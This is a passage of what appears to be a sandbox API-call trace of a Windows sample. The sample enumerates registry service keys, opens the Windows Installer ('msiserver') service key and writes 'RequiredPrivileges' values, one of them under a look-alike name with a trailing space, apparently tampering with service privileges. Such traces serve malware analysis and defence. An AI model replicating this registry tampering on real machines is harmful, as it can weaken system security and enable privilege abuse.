lpName="DPS") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.261] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.262] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.263] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.264] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0260.265] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0260.266] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0260.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0260.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0260.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0260.353] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0260.353] RegCloseKey (hKey=0xc4) returned 0x0 [0260.353] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.353] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.354] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.354] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.355] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.355] RegCloseKey (hKey=0x14c) returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.355] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0260.355] RegCloseKey (hKey=0xc4) returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0260.355] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0260.356] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0260.356] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.356] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.357] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.358] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.358] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0260.358] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.358] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.359] RegEnumValueA (in: 